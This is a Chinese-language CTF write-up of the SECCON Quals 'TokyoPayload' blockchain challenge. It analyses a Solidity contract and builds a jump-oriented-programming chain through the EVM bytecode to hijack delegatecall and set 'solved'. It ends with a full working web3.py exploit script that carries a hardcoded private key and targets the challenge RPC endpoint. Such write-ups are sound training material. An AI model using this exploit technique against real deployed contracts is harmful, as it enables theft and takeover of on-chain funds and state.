Preface
这次 Quals 队里打了第三,由于逆向部分的题目偏简单,没有可圈可点的题目,因此没有专门写 Reverse 部分的 Writeup。和队友 AK 完逆向后,便转过头来看了这道 blockchain,通宵写完了 exploit,也达成了比赛中第一次提交 blockchain 方向题目的成就。
Source code analysis
题目合约源码:
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.21;
contract TokyoPayload {
bool public solved;
uint256 public gasLimit;
function tokyoPayload(uint256 x, uint256 y) public {
require(x >= 0x40);
resetGasLimit();
assembly {
calldatacopy(x, 0, calldatasize())
}
function()[] memory funcs;
uint256 z = y;
funcs[z]();
}
function load(uint256 i) public pure returns (uint256 a, uint256 b, uint256 c) {
assembly {
a := calldataload(i)
b := calldataload(add(i, 0x20))
c := calldataload(add(i, 0x40))
}
}
function createArray(uint256 length) public pure returns (uint256[] memory) {
return new uint256[](length);
}
function resetGasLimit() public {
uint256[] memory arr;
gasLimit = arr.length;
}
function delegatecall(address addr) public {
require(msg.sender == address(0xCAFE));
(bool success,) = addr.delegatecall{gas: gasLimit & 0xFFFF}("");
require(success);
}
}
分析合约的 Solidity 源码后,很快便可以得出最终需要通过 delegatecall
将 solved 置为 true 这样大致的利用思路,关键在于如何绕过合约对 msg.sender
的检查以及对 gas 的限制。
进一步分析其他函数,可以看到与 gas 相关的 gasLimit
这一 storage 仅在 resetGasLimit
这一函数与调用该函数的 tokyoPayload
函数中存在对其写入,且写入值 arr.length
默认为 0。余下的两个函数 load
与 createArray
目前来看不起任何作用,因为我们知道在一笔交易结束后,memory 中的值是会被清空的,并不会影响到下一次交易。
Let’s do JOP
于是我们把目光转向 tokyoPayload
函数,在该函数末尾声明了一个类型为 function()
的 memory 数组,随后取下标为 y 的元素进行函数调用。
这里需要了解一点预备知识,即合约中的 internal call 在 EVM bytecode 层面对应一条 JUMP
指令。开启题目环境并获取合约的 bytecode 后,结合在 EVM Playground 中调试的结果,我们可以得知以下信息:
- 记 calldata 长度为 len, 则对于 x 有: x ≥ 0x40, memory[x:x+len] = calldata[:len]
- 对于 y 有: y ≤ memory[0x60:0x80] (MLOAD(0x60)), t = (y * 0x20 + 0x80) & 0xffffffff
- 对于在 2 中计算得到的 t, 最终会将 memory[t:t+0x20] (MLOAD(t)) 的值加载到栈顶,作为
JUMP
指令的跳转地址
自此,通过合理设计调用 tokyoPayload
函数的 calldata,可以实现对合约内任意 JUMPDEST
的跳转。
回顾一下上一小节,要将 solved 置为 true,我们首先要实现以下两点前置要求:
- 设置
gasLimit
为合理值,使得delegatecall
调用时有足够的 gas 执行SSTORE
指令 - 绕过对
msg.sender
的检查,实现对任意地址的delegatecall
综上,考虑使用 JOP (Jump Oriented Programming) 劫持合约控制流。
My solution
同 ROP 的原理类似,我们需要找到合适的 gadgets 以实现对栈上数据的布置。通过搜索反汇编后的 SSTORE
指令,发现有两个 gadgets 可以达到写 gasLimit
对应 storage 的目的,分别为 0xb7 与 0x153 处的 JUMPDEST
,不同的是,0xb7 处的 gadgets 执行后会固定跳转到 0x93 从而 STOP
结束合约调用。
事实上,若采用 0xb7 处的 gadgets,利用过程就要拆分成两步进行,然而再次调用 tokyoPayload
函数,gasLimit
又会被重新置为 0 导致上一笔交易失效。因此,我们只能使用 0x153 处的 gadgets。
细心的你也许会发现,0x153 是 tokyoPayload
函数中间的一段 gadgets,等同于我们重入了该函数,自然执行到函数末尾时,我们又可以获得另外一个任意 JUMPDEST
的跳转。
接下来需要做的是对栈上数据的布置,load
函数内部的 gadgets 可以通过三个 calldataload
指令将 calldata 中指定偏移的数据加载到栈上,从而实现对栈数据尽可能的控制,对应 gadgets 位于 0xd0 处;最终执行 delegatecall
指令对应的 gadgets 位于 0x1a3 处。
最终的 JOP chain 中还添加了 0x18f 处与 0x93 处的 gadgets,分别起到栈清理与正常退出合约的作用:tokyoPayload
→ 0x153 → 0x18f → 0xd0 → 0x1a3 → 0x93
Deployed contract
inline assembly 节省 gas,如果限制苛刻可以手写 bytecode 优化
pragma solidity 0.8.21;
contract Exploit {
bool public solved;
fallback() external {
assembly {
sstore(0, 1)
}
}
}
All in one exp
注:gasLimit 被设置为 0xc300,足以完成将 solved 置 1
import rlp
import struct
from web3 import Web3
def setup_payload(x, y, target0, target1, target3, target4, contract_address): # y is also target2
length = max(y * 0x20 + 0xa0 - x, 0x3280 - y)
selector = struct.pack('>I', 0x40c3)
jdest0 = target0.to_bytes(0x20, 'big')
jdest1 = target1.to_bytes(0x20, 'big')
calldata = bytearray().rjust(length, b'\x00')
calldata[:4] = selector
calldata[4:0x24] = x.to_bytes(0x20, 'big')
calldata[0x24:0x44] = y.to_bytes(0x20, 'big')
calldata[y * 0x20 + 0x80 - x:y * 0x20 + 0xa0 - x] = jdest0
calldata[0x3260 - y:0x3280 - y] = jdest1
calldata[0x80:0xa0] = target3.to_bytes(0x20, 'big')
calldata[0xa0:0xc0] = 0x1000.to_bytes(0x20, 'big')
calldata[0x1020:0x1040] = target4.to_bytes(0x20, 'big')
calldata[0x1040:0x1060] = contract_address.to_bytes(0x20, 'big')
return calldata
def calculate_address(deployer, nonce):
return Web3.keccak(rlp.encode([bytes.fromhex(deployer[2:]), nonce]))[12:].hex()
# 1. Add the Web3 provider logic here:
rpc_endpoint = 'http://tokyo-payload.seccon.games:8545/c731cd1b-dc79-426f-bce7-0fe523665bf6'
web3 = Web3(Web3.HTTPProvider(rpc_endpoint))
assert web3.is_connected()
setup_contract = '0x9e7237f54BC42923E971c43e132D9377E1b5fE9c'
victim_contract = calculate_address(setup_contract, web3.eth.get_transaction_count(setup_contract) - 1)
# code = web3.eth.get_code(Web3.to_checksum_address(victim_contract)).hex()
print(f'Our Vicitim contract address: { Web3.to_checksum_address(victim_contract) }')
# 2. Add contract bytecode here:
bytecode = "608060405234801561000f575f80fd5b5060bf8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106029575f3560e01c8063799320bb14603057602a565b5b60015f55005b6036604a565b604051604191906072565b60405180910390f35b5f8054906101000a900460ff1681565b5f8115159050919050565b606c81605a565b82525050565b5f60208201905060835f8301846065565b9291505056fea2646970667358221220956a931490b36fa29544530fe3ccb1b0e368513f67b899d0d65bf352f8ffadc064736f6c63430008150033"
# 3. Create address variable
account_from = {
'private_key': '0x05e6667d8b67ce0b50d3e5b0b07c0be7d1495b6100f864fc1de352f24d7baab4',
'address': '0x36b80798f3a59f36CAA0E3345b6BfF794d12bB24'
}
print(f'Attempting to deploy from account: { account_from["address"] }')
print(f'Contract will be deployed at address: { calculate_address(account_from["address"], web3.eth.get_transaction_count(account_from["address"])) }')
# 4. Build deploy tx
deploy_tx = {
'from': account_from['address'],
'to': None,
'nonce': web3.eth.get_transaction_count(account_from['address']),
'gasPrice': web3.eth.gas_price,
'value': 0,
'data': bytecode,
'chainId': web3.eth.chain_id,
}
estimated_gas = web3.eth.estimate_gas(deploy_tx)
deploy_tx.update({'gas': round(estimated_gas * 1.2)})
# 5. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(deploy_tx, account_from['private_key'])
# 6. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Contract deployed at address: { tx_receipt.contractAddress }')
contract_address = tx_receipt.contractAddress
print(f'Making a call to contract at address: { contract_address }')
payload = setup_payload(0x7b, 0xd0, 0x153, 0x18f, 0x1a3, 0x93, int(contract_address, 16)).hex()
# 7. Build function tx
solver_tx = {
'from': account_from['address'],
'to': Web3.to_checksum_address(victim_contract),
'nonce': web3.eth.get_transaction_count(account_from['address']),
'gasPrice': web3.eth.gas_price,
'value': 0,
'data': payload,
'chainId': web3.eth.chain_id,
}
solver_tx.update({'gas': 30000000})
# 8. Sign tx with PK
tx_create = web3.eth.account.sign_transaction(solver_tx, account_from['private_key'])
# 9. Send tx and wait for receipt
tx_hash = web3.eth.send_raw_transaction(tx_create.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')